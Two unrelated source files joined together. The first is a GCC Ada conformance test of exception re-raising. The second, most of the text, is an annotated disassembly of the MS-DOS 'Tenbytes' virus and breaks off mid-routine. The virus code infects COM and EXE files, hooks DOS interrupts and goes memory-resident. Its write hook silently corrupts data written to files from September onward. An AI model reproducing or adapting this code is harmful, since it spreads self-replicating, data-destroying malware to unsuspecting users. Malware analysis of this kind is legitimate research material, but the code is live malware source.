gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cb/cb3003a.ada | best08618/asylo | 7 | 30178 | <gh_stars>1-10
-- CB3003A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT THE NON-SPECIFIC RAISE STATEMENT PROPAGATES THE EXCEPTION
-- FOR FURTHER PROCESSING(HANDLING) IN ANOTHER HANDLER.
-- *** NOTE: This test has been modified since ACVC version 1.11 to -- 9X
-- *** remove incompatibilities associated with the transition -- 9X
-- *** to Ada 9X. -- 9X
-- *** -- 9X
-- DCB 04/01/80
-- JRK 11/19/80
-- SPS 11/2/82
-- MRM 03/30/93 REMOVED NUMERIC_ERROR FOR 9X COMPATIBILITY
WITH REPORT;
PROCEDURE CB3003A IS
USE REPORT;
FLOW_COUNT : INTEGER := 0;
E1,E2 : EXCEPTION;
BEGIN
TEST("CB3003A","CHECK THAT THE NON-SPECIFIC RAISE STATEMENT" &
" PROPAGATES THE ERROR FOR FURTHER HANDLING IN ANOTHER" &
" HANDLER");
-------------------------------------------------------
BEGIN
BEGIN
BEGIN
FLOW_COUNT := FLOW_COUNT + 1;
RAISE E1;
FAILED("EXCEPTION NOT RAISED (CASE 1)");
EXCEPTION
WHEN OTHERS =>
FLOW_COUNT := FLOW_COUNT + 1;
RAISE;
FAILED("EXCEPTION NOT RERAISED (CASE 1; " &
"INNER)");
END;
EXCEPTION
-- A HANDLER SPECIFIC TO THE RAISED EXCEPTION (E1).
WHEN E1 =>
FLOW_COUNT := FLOW_COUNT + 1;
RAISE;
FAILED("EXCEPTION NOT RERAISED (CASE 1; OUTER)");
WHEN OTHERS =>
FAILED("WRONG EXCEPTION RAISED (CASE 1)");
END;
EXCEPTION
WHEN E1 =>
FLOW_COUNT := FLOW_COUNT + 1;
WHEN OTHERS =>
FAILED("WRONG EXCEPTION PASSED (CASE 1)");
END;
-------------------------------------------------------
BEGIN
BEGIN
BEGIN
FLOW_COUNT := FLOW_COUNT + 1;
RAISE E1;
FAILED("EXCEPTION NOT RAISED (CASE 2)");
EXCEPTION
WHEN OTHERS =>
FLOW_COUNT := FLOW_COUNT + 1;
RAISE;
FAILED("EXCEPTION NOT RERAISED (CASE 2; " &
"INNER)");
END;
EXCEPTION
-- A HANDLER FOR SEVERAL EXCEPTIONS INCLUDING THE ONE RAISED.
WHEN CONSTRAINT_ERROR =>
FAILED("WRONG EXCEPTION RAISED (CONSTRAINT_ERROR)");
WHEN E2 =>
FAILED("WRONG EXCEPTION RAISED (E2)");
WHEN PROGRAM_ERROR | E1 | TASKING_ERROR =>
FLOW_COUNT := FLOW_COUNT + 1;
RAISE;
FAILED("EXCEPTION NOT RERAISED (CASE 2; OUTER)");
WHEN STORAGE_ERROR =>
FAILED("WRONG EXCEPTION RAISED (STORAGE_ERROR)");
WHEN OTHERS =>
FAILED("WRONG EXCEPTION RAISED (OTHERS)");
END;
EXCEPTION
WHEN E1 =>
FLOW_COUNT := FLOW_COUNT + 1;
WHEN OTHERS =>
FAILED("WRONG EXCEPTION PASSED (CASE 2)");
END;
-------------------------------------------------------
BEGIN
BEGIN
BEGIN
FLOW_COUNT := FLOW_COUNT + 1;
RAISE E1;
FAILED("EXCEPTION NOT RAISED (CASE 3)");
EXCEPTION
WHEN OTHERS =>
FLOW_COUNT := FLOW_COUNT + 1;
RAISE;
FAILED("EXCEPTION NOT RERAISED (CASE 3; " &
"INNER)");
END;
EXCEPTION
-- A NON-SPECIFIC HANDLER.
WHEN CONSTRAINT_ERROR | E2 =>
FAILED("WRONG EXCEPTION RAISED " &
"(CONSTRAINT_ERROR | E2)");
WHEN OTHERS =>
FLOW_COUNT := FLOW_COUNT + 1;
RAISE;
FAILED("EXCEPTION NOT RERAISED (CASE 3; OUTER)");
END;
EXCEPTION
WHEN E1 =>
FLOW_COUNT := FLOW_COUNT + 1;
WHEN OTHERS =>
FAILED("WRONG EXCEPTION PASSED (CASE 3)");
END;
-------------------------------------------------------
IF FLOW_COUNT /= 12 THEN
FAILED("INCORRECT FLOW_COUNT VALUE");
END IF;
RESULT;
END CB3003A;
|
MSDOS/Virus.MSDOS.Unknown.tenbytes.asm | fengjixuchui/Family | 3 | 88965 | <reponame>fengjixuchui/Family<filename>MSDOS/Virus.MSDOS.Unknown.tenbytes.asm
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
start: mov ax,es ;0100 8C C0
add word ptr cs:[d_010C+2],ax ;segment relocation ;0102 2E: 01 06 010E
jmp dword ptr cs:[d_010C] ;jump into virus code ;0107 2E: FF 2E 010C
d_010C dw 0000,0138h ;dword=entry into virus ;010C 0000 0138
;<- duplicated code (aligning to 20h bytes)
db 0B8h,008h,000h,08Eh,0C0h,08Bh,00Eh,041h ;0110 B8 08 00 8E C0 8B 0E 41
db 003h,0BAh,028h,000h,02Eh,08Bh,01Eh,09Bh ;0118 03 BA 28 00 2E 8B 1E 9B
;..............................................................
; victim code
;..............................................................
org 1380h
;============================================================================
; Segment aligned virus segment begin
;----------------------------------------------------------------------------
;================================================================
; COM virus Entry
; (this code is present only in case *.COM infection)
;----------------------------------------------------------------
l_0000: push ds ;1380 1E
push cs ;1381 0E
pop ds ;1382 1F
lea si,cs:[4F7h] ;d_1877 = saved bytes ;1383 8D 36 04F7
mov di,100h ;1387.BF 0100
mov cx,20h ;138A B9 0020
rep movsb ;restore victim bytes ;138D F3/ A4
mov byte ptr cs:[349h],0FFh ;d_16C9 (0FFh = COM) ;138F 2E: C6 06 0349 FF
nop ;1395 90
pop ds ;1396 1F
lea ax,cs:[54Fh] ;l_18CF ;1397 8D 06 054F
jmp ax ;139B FF E0
;<--- duplicated fields d_033F - d_0347
dw 0020 ;139D 20 00
dw 05EAh ;139F EA 05
dw 0Bh ;13A1 0B 00
dw 28h ;13A3 28 00
dw 200h ;13A5 00 02
db 0 ;13A7 00
;===========================================================================
; Begin of file type independent virus code
;---------------------------------------------------------------------------
;================================================================
; Get/Set victim attribute
;----------------------------------------------------------------
s_13A8 proc near
mov dx,offset ds:[57Fh] ;file name ;13A8.BA 057F
mov ah,43h ;get/set file attrb ;13AB B4 43
int 21h ;13AD CD 21
retn ;13AF C3
s_13A8 endp
;================================================================
; Move file ptr to EOF
;----------------------------------------------------------------
s_13B0 proc near
xor cx,cx ;13B0 33 C9
xor dx,dx ;13B2 33 D2
mov ax,4202h ;move file ptr EOF+offset ;13B4 B8 4202
mov bx,cs:[9Bh] ;l_141B = file handle ;13B7 2E: 8B 1E 009B
int 21h ;13BC CD 21
retn ;13BE C3
s_13B0 endp
;================================================================
; Read 32 bytes into buffer
;----------------------------------------------------------------
s_13BF proc near
mov cx,20h ;13BF B9 0020
mov dx,4F7h ;l_1877-sav victim bytes;13C2.BA 04F7
mov bx,cs:[9Bh] ;l_141B = file handle ;13C5 2E: 8B 1E 009B
mov ah,3Fh ;read file ;13CA B4 3F
int 21h ;13CC CD 21
mov cx,ax ;bytes read ;13CE 8B C8
retn ;13D0 C3
s_13BF endp
;================================================================
; Write 32 B into file
;----------------------------------------------------------------
s_13D1 proc near
mov ax,8 ;switch off destruction ;13D1 B8 0008
mov es,ax ;13D4 8E C0
mov cx,20h ;13D6 B9 0020
mov dx,offset ds:[4F7h] ;l_1877 - saved bytes ;13D9.BA 04F7
mov bx,cs:[9Bh] ;l_141B = file handle ;13DC 2E: 8B 1E 009B
mov ah,40h ;write file cx=bytes ;13E1 B4 40
int 21h ;13E3 CD 21
mov cx,ax ;13E5 8B C8
retn ;13E7 C3
s_13D1 endp
;================================================================
; Calculate virus length
;----------------------------------------------------------------
s_13E8 proc near
mov ax,612h ;virus code length ;13E8 B8 0612
mov dx,28h ;file type depended code;13EB BA 0028
sub ax,dx ;13EE 2B C2
mov ds:[341h],ax ;l_16C1 const vcode len ;13F0 A3 0341
retn ;13F3 C3
s_13E8 endp
;================================================================
; Get/Set file daye & time
;----------------------------------------------------------------
s_13F4 proc near
mov bx,ds:[9Bh] ;l_141B = file handle ;13F4 8B 1E 009B
mov ah,57h ;get/set file date & time ;13F8 B4 57
int 21h ;13FA CD 21
retn ;13FC C3
s_13F4 endp
;================================================================
; Contamine File - master routine
;----------------------------------------------------------------
s_13FD proc near
mov byte ptr ds:[349h],0 ;d_16C9 (000h = EXE) ;13FD C6 06 0349 00
nop ;1402 90
mov al,0 ;1403 B0 00
call s_13A8 ;Get victim attribute ;1405 E8 FFA0
jc l_146A ;-> EXIT ;1408 72 60
mov ds:[33Fh],cx ;l_16BF oryg. file attr ;140A 89 0E 033F
mov cx,20h ;140E B9 0020
mov al,1 ;1411 B0 01
call s_13A8 ;Set victim attribute ;1413 E8 FF92
jc l_146A ;-> EXIT ;1416 72 52
jmp short l_1421 ;1418 EB 07
nop ;141A 90
d_009B dw 0005h ;file handle ;141B 05 00
d_009D dw 0400h ;141D 00 04
d_009F dw 057Fh ;filepath address ;141F 7F 05
l_1421: mov word ptr cs:[9Fh],057Fh ;l_141F := offset l_18FF;1421 2E C7 06 9F 00 7F 05
mov dx,ds:[9Fh] ;l_141F - file name ;1428 8B 16 009F
mov ax,400h ;142C B8 0400
mov ds:[9Dh],ax ;l_141D ;142F A3 009D
mov al,2 ;1432 B0 02
mov ah,3Dh ;open file, al=mode ;1434 B4 3D
int 21h ;1436 CD 21
mov word ptr ds:[9Bh],0FFFFh ;l_141B = file handle ;1438 C7 06 009B FFFF
jc l_1443 ;143E 72 03
mov ds:[9Bh],ax ;l_141B = file handle ;1440 A3 009B
l_1443: mov ax,ds:[9Bh] ;l_141B = file handle ;1443 A1 009B
cmp ax,0FFFFh ;1446 3D FFFF
je l_146A ;-> EXIT, open file err ;1449 74 1F
mov al,0 ;144B B0 00
call s_13F4 ;Get file daye & time ;144D E8 FFA4
jc l_148F ;-> err, close & exit ;1450 72 3D
mov ds:[0E8h],dx ;l_1468 = date ;1452 89 16 00E8
mov ds:[0EDh],cx ;l_146D = time ;1456 89 0E 00ED
call s_13BF ;Read 32 B into buffer ;145A E8 FF62
mov ax,word ptr ds:[4F7h] ;l_1877 first file word ;145D A1 04F7
cmp ax,5A4Dh ;'MZ' ? ;1460 3D 5A4D
je l_146F ;-> yes, EXE ;1463 74 0A
jmp l_1616 ;-> no, COM ;1465 E9 01AE
d_00E8 dw 0EF8h ;victim date ;1468 F8 0E
l_146A: jmp l_15C6 ;146A E9 0159
d_00ED dw 0001h ;victim time ;146D 01 00
;================================================================
; EXE file contamination
;----------------------------------------------------------------
l_146F: mov ax,word ptr ds:[509h] ;+12h = negative sum ;146F A1 0509
neg ax ;1472 F7 D8
cmp ax,word ptr ds:[4F9h] ;+2 = last page bytes ;1474 3B 06 04F9
je l_148F ;-> allready infected ;1478 74 15
mov ax,word ptr ds:[4FBh] ;+4 = pages in file ;147A A1 04FB
cmp ax,3 ;147D 3D 0003
jb l_148F ;-> file to small ;1480 72 0D
mov ax,word ptr ds:[4FFh] ;+8 = size of hdr (para);1482 A1 04FF
mov cl,4 ;1485 B1 04
shl ax,cl ;1487 D3 E0
mov ds:[347h],ax ;l_16C7 = size of header;1489 A3 0347
jmp short l_1492 ;148C EB 04
nop ;148E 90
l_148F: jmp l_15A8 ;148F E9 0116
l_1492: mov ax,word ptr ds:[50Bh] ;+14h = IP ;1492 A1 050B
mov word ptr ds:[5B4h],ax ;l_1934 ;1495 A3 05B4
mov word ptr ds:[50Bh],28h ;new IP value (l_13A8) ;1498 C7 06 050B 0028
call s_13B0 ;Move file ptr to EOF ;149E E8 FF0F
push ax ;14A1 50
push dx ;14A2 52
sub ax,ds:[347h] ;l_16C7=size of header ;14A3 2B 06 0347
sbb dx,0 ;14A7 83 DA 00
mov word ptr ds:[439h],ax ;l_17B9 ;14AA A3 0439
mov word ptr ds:[437h],dx ;l_17B7 ;14AD 89 16 0437
cmp dx,0 ;14B1 83 FA 00
ja l_14D3 ;-> more then 64KB ;14B4 77 1D
cmp ax,word ptr ds:[50Bh] ;+14h = IP ;14B6 3B 06 050B
ja l_14D3 ;-> more then 28h length;14BA 77 17
;<- EXE code length =< 28h
mov word ptr ds:[345h],0 ;l_16C5 ;14BC C7 06 0345 0000
mov bx,word ptr ds:[50Bh] ;14C2 8B 1E 050B
sub bx,ax ;28h - file length ;14C6 2B D8
mov ds:[343h],bx ;l_16C3 - aligning bytes;14C8 89 1E 0343
mov ds:[513h],bx ;+1Ch = ? ;14CC 89 1E 0513
jmp short l_1511 ;14D0 EB 3F
nop ;14D2 90
l_14D3: sub ax,word ptr ds:[50Bh] ;+14h = IP=28h ;14D3 2B 06 050B
sbb dx,0 ;14D7 83 DA 00
mov ds:[345h],ax ;d_16C5 ;14DA A3 0345
and ax,0Fh ;14DD 25 000F
cmp ax,0 ;14E0 3D 0000
jne l_14F9 ;-> need aligment ;14E3 75 14
mov word ptr ds:[343h],0 ;d_16C3 - aligning bytes;14E5 C7 06 0343 0000
mov ax,ds:[345h] ;d_16C5 ;14EB A1 0345
mov cx,10h ;14EE B9 0010
div cx ;14F1 F7 F1
mov ds:[345h],ax ;d_16C5 - segment of vir;14F3 A3 0345
jmp short l_1511 ;14F6 EB 19
db 90h ;14F8 90
;<---- need alignment
l_14F9: mov word ptr ds:[343h],10h ;d_16C3 - aligning bytes;14F9 C7 06 0343 0010
sub ds:[343h],ax ;d_16C3 - aligning bytes;14FF 29 06 0343
mov ax,ds:[345h] ;d_16C5 ;1503 A1 0345
mov cx,10h ;1506 B9 0010
div cx ;1509 F7 F1
add ax,1 ;+ alignment paragraph ;150B 05 0001
mov ds:[345h],ax ;d_16C5 - segment of vir;150E A3 0345
l_1511: mov ax,word ptr ds:[50Dh] ;+ 16h = CS ;1511 A1 050D
mov word ptr ds:[5B6h],ax ;d_1936 - victim CS ;1514 A3 05B6
mov ax,ds:[345h] ;d_16C5 ;1517 A1 0345
mov word ptr ds:[50Dh],ax ;+ 16h = CS ;151A A3 050D
push ax ;151D 50
mov ax,word ptr ds:[505h] ;+ 0Eh = SS ;151E A1 0505
mov word ptr ds:[5A1h],ax ;d_1921 - victim SS ;1521 A3 05A1
pop ax ;1524 58
mov word ptr ds:[505h],ax ;+ 0Eh = virus SS ;1525 A3 0505
mov ax,word ptr ds:[507h] ;+ 10h = SP ;1528 A1 0507
mov word ptr ds:[5A3h],ax ;d_1923 victim SP ;152B A3 05A3
lea ax,cs:[612h] ;End of virus ;152E 8D 06 0612
add ax,1Eh ;virus stack ;1532 05 001E
add ax,ds:[343h] ;d_16C3 - aligning bytes;1535 03 06 0343
mov word ptr ds:[507h],ax ;virus SP ;1539 A3 0507
call s_13E8 ;Calculate virus length ;153C E8 FEA9
pop dx ;<- victim EOF ;153F 5A
pop ax ;1540 58
add ax,ds:[341h] ;l_16C1 const vcode len ;1541 03 06 0341
adc dx,0 ;1545 83 D2 00
add ax,ds:[343h] ;d_16C3 - aligning bytes;1548 03 06 0343
adc dx,0 ;154C 83 D2 00
mov cx,200h ;page length ;154F B9 0200
div cx ;1552 F7 F1
cmp dx,0 ;1554 83 FA 00
je l_155A ;1557 74 01
inc ax ;1559 40
l_155A: mov word ptr ds:[4FBh],ax ;+4 - file len in pages ;155A A3 04FB
mov word ptr ds:[4F9h],dx ;+2 - last page length ;155D 89 16 04F9
neg dx ;1561 F7 DA
mov word ptr ds:[509h],dx ;+12h = negative sum ;1563 89 16 0509
mov cx,54Fh ;offset l_18CF-EXE entry;1567 B9 054F
mov word ptr ds:[50Bh],cx ;+14h - virus IP ;156A 89 0E 050B
cmp word ptr ds:[343h],3 ;d_16C3 - aligning bytes;156E 83 3E 0343 03
jb l_1580 ;1573 72 0B
;<- file begins with jump
mov cx,28h ;1575 B9 0028
sub cx,ds:[343h] ;d_16C3 - aligning bytes;1578 2B 0E 0343
mov word ptr ds:[50Bh],cx ;157C 89 0E 050B
l_1580: call s_15DF ;Set file pointer to BOF;1580 E8 005C
call s_13D1 ;Write 32 B into file ;1583 E8 FE4B
jc l_15A8 ;-> error, EXIT ;1586 72 20
mov cx,ds:[343h] ;d_16C3 - aligning bytes;1588 8B 0E 0343
sub cx,3 ;jmp instruction length ;158C 83 E9 03
mov ax,54Fh ;offset l_18CF=EXE entry;158F B8 054F
mov bx,28h ;beginning of code ;1592 BB 0028
sub ax,bx ;jmp distance ;1595 2B C3
add cx,ax ;aligning bytes ;1597 03 C8
mov word ptr ds:[54Ch],cx ;l_18CC = jump distance ;1599 89 0E 054C
call s_13B0 ;Move file ptr to EOF ;159D E8 FE10
call s_15C7 ;Align EOF to paragraphs;15A0 E8 0024
jc l_15A8 ;-> error, EXIT ;15A3 72 03
call s_15FE ;Write const part of vir;15A5 E8 0056
;================================================================
; End of contamination (common to EXE & COM)
;----------------------------------------------------------------
l_15A8: mov al,1 ;to set ;15A8 B0 01
mov dx,ds:ds:[0E8h] ;d_1468 victim date ;15AA 8B 16 00E8
mov cx,ds:ds:[0EDh] ;d_146D victim time ;15AE 8B 0E 00ED
call s_13F4 ;Set file daye & time ;15B2 E8 FE3F
mov bx,ds:[9Bh] ;l_141B = file handle ;15B5 8B 1E 009B
mov ah,3Eh ;close file ;15B9 B4 3E
int 21h ;15BB CD 21
mov al,1 ;to set ;15BD B0 01
mov cx,ds:[33Fh] ;l_16BF oryg. file attr ;15BF 8B 0E 033F
call s_13A8 ;Set victim attribute ;15C3 E8 FDE2
l_15C6: retn ;15C6 C3
;================================================================
; Align end of file to paragraphs
;----------------------------------------------------------------
s_15C7: mov ax,8 ;to switch off virus ;15C7 B8 0008
mov es,ax ;15CA 8E C0
mov cx,ds:[343h] ;l_16C3 - aligning bytes;15CC 8B 0E 0343
mov dx,54Bh ;offset d_18CB ;15D0.BA 054B
mov bx,cs:[9Bh] ;l_141B = file handle ;15D3 2E: 8B 1E 009B
mov ah,40h ;write file ;15D8 B4 40
int 21h ;15DA CD 21
mov cx,ax ;15DC 8B C8
retn ;15DE C3
;================================================================
; Set file pointer to BOF
;----------------------------------------------------------------
s_15DF: xor cx,cx ;15DF 33 C9
xor dx,dx ;15E1 33 D2
mov ax,4200h ;move file ptr, cx,dx=offset ;15E3 B8 4200
mov bx,cs:[9Bh] ;l_141B = file handle ;15E6 2E: 8B 1E 009B
int 21h ;15EB CD 21
retn ;15ED C3
;================================================================
; COM virus start code pattern
;----------------------------------------------------------------
d_026E: mov ax,es ;15EE 8C C0
add word ptr cs:[010Ch+2],ax ;15F0 2E: 01 06 010E
jmp dword ptr cs:[010Ch] ;15F5 2E: FF 2E 010C
d_027A dw 0 ;15FA 00 00
d_027C dw 0138h ;15FC 38 01
;================================================================
; Write constant part of virus
;----------------------------------------------------------------
s_15FE: mov ax,8 ;switch off virus ;15FE B8 0008
mov es,ax ;1601 8E C0
mov cx,ds:[341h] ;l_16C1 const.code leng.;1603 8B 0E 0341
mov dx,28h ;offset l_13A8 - vircode;1607.BA 0028
mov bx,cs:[9Bh] ;l_141B = file handle ;160A 2E: 8B 1E 009B
mov ah,40h ;write file ;160F B4 40
int 21h ;1611 CD 21
mov cx,ax ;1613 8B C8
retn ;1615 C3
;================================================================
; COM victim contamination
;----------------------------------------------------------------
l_1616: cmp word ptr ds:[4F9h],12Eh ;BOF+2 ;1616 81 3E 04F9 012E
je l_15A8 ;-> contamined, EXIT ;161C 74 8A
call s_13B0 ;Move file ptr to EOF ;161E E8 FD8F
cmp ax,3E8h ;1000 byte file length ;1621 3D 03E8
jb l_169F ;-> bellow, EXIT ;1624 72 79
add ax,100h ;add PSP ;1626 05 0100
adc dx,0 ;1629 83 D2 00
push ax ;162C 50
and ax,0Fh ;162D 25 000F
mov word ptr ds:[343h],0 ;l_16C3 aligning bytes ;1630 C7 06 0343 0000
cmp ax,0 ;1636 3D 0000
je l_1645 ;-> para aligned file ;1639 74 0A
mov word ptr ds:[343h],10h ;l_16C3 - aligning bytes;163B C7 06 0343 0010
sub ds:[343h],ax ;l_16C3 - aligning bytes;1641 29 06 0343
l_1645: pop ax ;1645 58
add ax,ds:[343h] ;l_16C3 aligning bytes ;1646 03 06 0343
adc dx,0 ;164A 83 D2 00
cmp dx,0 ;164D 83 FA 00
ja l_169F ;-> file to big, EXIT ;1650 77 4D
mov cl,4 ;1652 B1 04
shr ax,cl ;bytes 2 paragraphs ;1654 D3 E8
cmp word ptr ds:[343h],0 ;l_16C3 - aligning bytes;1656 83 3E 0343 00
mov ds:[27Ch],ax ;l_15FC virus segment ;165B A3 027C
mov word ptr ds:[27Ah],0 ;l_15FA virus entry ;165E C7 06 027A 0000
call s_15DF ;Set file pointer to BOF;1664 E8 FF78
mov ax,8 ;to switch off virus ;1667 B8 0008
mov es,ax ;166A 8E C0
mov cx,20h ;bytes to write ;166C B9 0020
mov dx,26Eh ;offset l_15EE ;166F.BA 026E
mov bx,cs:[9Bh] ;l_141B = file handle ;1672 2E: 8B 1E 009B
mov ah,40h ;write file ;1677 B4 40
int 21h ;1679 CD 21
mov cx,ax ;bytes written ;167B 8B C8
call s_13B0 ;Move file ptr to EOF ;167D E8 FD30
call s_15C7 ;write aligning bytes ;1680 E8 FF44
mov ax,8 ;switch off virus ;1683 B8 0008
mov es,ax ;1686 8E C0
mov cx,28h ;40 bytes ;1688 B9 0028
mov dx,322h ;offset l_16A2 ;168B .BA 0322
mov bx,cs:[9Bh] ;l_141B = file handle ;168E 2E: 8B 1E 009B
mov ah,40h ;write file ;1693 B4 40
int 21h ;1695 CD 21
mov cx,ax ;bytes written ;1697 8B C8
call s_13E8 ;Calculate virus length ;1699 E8 FD4C
call s_15FE ;Write const part of vir;169C E8 FF5F
l_169F: jmp l_15A8 ;close files, EXIT ;169F E9 FF06
s_13FD endp
;<-- COM type virus begin pattern
d_0322: push ds ;16A2 1E
push cs ;16A3 0E
pop ds ;16A4 1F
lea si,cs:[4F7h] ;16A5 8D 36 04F7
mov di,0100h ;16A9.BF 0100
mov cx,20h ;16AC B9 0020
rep movsb ;16AF F3/ A4
mov byte ptr cs:[349h],0FFh ;d_16C9 (0FFh = COM) ;16B1 2E: C6 06 0349 FF
nop ;16B7 90
pop ds ;16B8 1F
lea ax,cs:[54Fh] ;16B9 8D 06 054F
jmp ax ;16BD FF E0
;------ work area
d_033F dw 0020h ;oryg. file attr ;16BF 20 00
d_0341 dw 05EAh ;const virus code length;16C1 EA 05
d_0343 dw 0Bh ;aligning bytes ;16C3 0B 00
d_0345 dw 28h ;16C5 28 00
d_0347 dw 200h ;size of header ;16C7 00 02
d_0349 db 0 ;0=EXE, 0FFh=COM ;16C9 00
;================================================================
; init registers
;----------------------------------------------------------------
s_16CA proc near
xor si,si ;16CA 33 F6
xor di,di ;16CC 33 FF
xor ax,ax ;16CE 33 C0
xor dx,dx ;16D0 33 D2
xor bp,bp ;16D2 33 ED
retn ;16D4 C3
s_16CA endp
;================================================================
; int 24h handling routine (infection time active only)
;----------------------------------------------------------------
l_16D5: cmp di,0 ;16D5 83 FF 00
jne l_16DD ;16D8 75 03
mov al,3 ;ignore ;16DA B0 03
iret ;16DC CF
l_16DD: jmp dword ptr cs:[362h] ;L_16E2 = old int 24h ;16DD 2E: FF 2E 0362
d_0362 dw 0556h,0DF0h ;16E2 56 05 F0 0D
;================================================================
; Get int 24h
;----------------------------------------------------------------
s_16E6 proc near
cli ; Disable interrupts ;16E6 FA
xor bx,bx ;16E7 33 DB
mov es,bx ;16E9 8E C3
mov bx,es:[90h] ;int 24h offset ;16EB 26: 8B 1E 0090
mov word ptr cs:[362h],bx ;l_16E2 ;16F0 2E: 89 1E 0362
mov bx,es:[92h] ;int 24h segment ;16F5 26: 8B 1E 0092
mov word ptr cs:[362h+2],bx ;L_16E2+2 ;16FA 2E: 89 1E 0364
mov word ptr es:[90h],355h ;offset l_16D5 ;16FF 26: C7 06 0090 0355
mov es:[92h],ax ;int 24h segment := CS ;1706 26: A3 0092
sti ;170A FB
retn ;170B C3
s_16E6 endp
;================================================================
; Restore int 24h vector
;----------------------------------------------------------------
s_170C proc near
cli ;170C FA
xor bx,bx ;170D 33 DB
mov es,bx ;170F 8E C3
mov bx,word ptr cs:[362h] ;1711 2E: 8B 1E 0362
mov es:[90h],bx ;1716 26: 89 1E 0090
mov bx,word ptr cs:[362h+2] ;171B 2E: 8B 1E 0364
mov es:[92h],bx ;1720 26: 89 1E 0092
sti ;1725 FB
retn ;1726 C3
s_170C endp
;===============================================================
; write handle service routine (destruction routine)
;---------------------------------------------------------------
s_1727 proc near
push ax ;1727 50
push bx ;1728 53
push cx ;1729 51
push dx ;172A 52
push es ;172B 06
push ds ;172C 1E
push si ;172D 56
push di ;172E 57
mov ax,es ;172F 8C C0
cmp ax,8 ;1731 3D 0008
je l_1750 ;-> virus contamination ;1734 74 1A
cmp bx,4 ;1736 83 FB 04
jb l_1750 ;-> BIOS ;1739 72 15
mov ah,2Ah ;get date, cx=year, dx=mon/day ;173B B4 2A
int 21h ;173D CD 21
cmp dh,9 ;september ? ;173F 80 FE 09
jb l_1750 ;-> bellow ;1742 72 0C
pop di ;1744 5F
pop si ;1745 5E
pop ds ;1746 1F
pop es ;1747 07
pop dx ;1748 5A
pop cx ;1749 59
pop bx ;174A 5B
pop ax ;174B 58
add dx,0Ah ;shift buffer address ;174C 83 C2 0A
retn ;174F C3
l_1750: pop di ;1750 5F
pop si ;1751 5E
pop ds ;1752 1F
pop es ;1753 07
pop dx ;1754 5A
pop cx ;1755 59
pop bx ;1756 5B
pop ax ;1757 58
retn ;1758 C3
s_1727 endp
db 16 dup (0) ;not used ;1759 0010[00]
;================================================================
; Load & Execute service routine
;----------------------------------------------------------------
s_1769 proc near
push ax ;1769 50
push bx ;176A 53
push cx ;176B 51
push dx ;176C 52
push es ;176D 06
push ds ;176E 1E
push si ;176F 56
push di ;1770 57
mov si,dx ;file pathname ;1771 8B F2
mov ax,cs ;1773 8C C8
mov es,ax ;1775 8E C0
mov di,offset ds:[57Fh] ;l_18FF - victim name ;1777.BF 057F
mov cx,19h ;177A B9 0019
rep movsb ;copy victim name ;177D F3/ A4
call s_16E6 ;Get int 24h vector ;177F E8 FF64
mov ds,ax ;ds:=cs ;1782 8E D8
call s_13FD ;1784 E8 FC76
call s_170C ;Restore int 24h vector ;1787 E8 FF82
pop di ;178A 5F
pop si ;178B 5E
pop ds ;178C 1F
pop es ;178D 07
pop dx ;178E 5A
pop cx ;178F 59
pop bx ;1790 5B
pop ax ;1791 58
retn ;1792 C3
s_1769 endp
;================================================================
; New int 21h service routine
;----------------------------------------------------------------
;<---- 10 bytes to identify resident virus
d_0413: pushf ;1793 9C
cmp ah,40h ;write handle ? ;1794 80 FC 40
jne l_179F ;-> no ;1797 75 06
call s_1727 ;write handle service routine ;1799 E8 FF8B
jmp short l_17A7 ;179C EB 09
nop ;179E 90
l_179F: cmp ah,4Bh ;Load & Execute ? ;179F 80 FC 4B
jne l_17A7 ;-> no ;17A2 75 03
call s_1769 ;Load & Execute service routine ;17A4 E8 FFC2
l_17A7: popf ;17A7 9D
;================================================================
; Execute substituted code and jump into old int 21h service
;----------------------------------------------------------------
;<- four bytes from int 21h service
d_0428: cmp ah,51h ;17A8 80 FC 51
d_042B: je l_17B2 ;17AB 74 05
jmp dword ptr cs:[547h] ;17AD 2E: FF 2E 0547
l_17B2: jmp dword ptr cs:[49Dh] ;17B2 2E: FF 2E 049D
d_0437 dw 0000h,02A0h ;dword = code length ;17B7 00 00 A0 02
;================================================================
; Make virus resident
;----------------------------------------------------------------
s_17BB proc near
cli ;disable interrupts ;17BB FA
push es ;17BC 06
lea si,cs:[413h] ;l_1793 ;17BD 8D 36 0413
mov di,si ;17C1 8B FE
mov cx,9800h ;resident virus segment ;17C3 B9 9800
mov es,cx ;17C6 8E C1
mov cx,0Ah ;17C8 B9 000A
repe cmpsb ;17CB F3/ A6
cmp cx,0 ;17CD 83 F9 00
pop es ;17D0 07
jz l_181A ;-> allready resident ;17D1 74 47
mov bx,es:[84h] ;int 21h - offset ;17D3 26: 8B 1E 0084
mov ax,es:[86h] ;int 21h - segment ;17D8 26: A1 0086
mov word ptr ds:[549h],ax ;l_18C9 ;17DC A3 0549
mov word ptr ds:[49Fh],ax ;l_181F ;17DF A3 049F
mov di,bx ;17E2 8B FB
mov es,ax ;17E4 8E C0
mov cx,80h ;17E6 B9 0080
mov al,80h ;17E9 B0 80
l_17EB: repne scasb ;find byte 80h ;17EB F2/ AE
cmp cx,0 ;17ED 83 F9 00
je l_1870 ;-> not found, EXIT ;17F0 74 7E
cmp byte ptr es:[di],0FCh ;17F2 26: 80 3D FC
jne l_17EB ;-> find another place ;17F6 75 F3
;<- get four bytes from int 21h service
mov al,es:[di+2] ;17F8 26: 8A 45 02
mov byte ptr cs:[42Bh],al ;l_17AB ;17FC 2E: A2 042B
mov al,es:[di-1] ;1800 26: 8A 45 FF
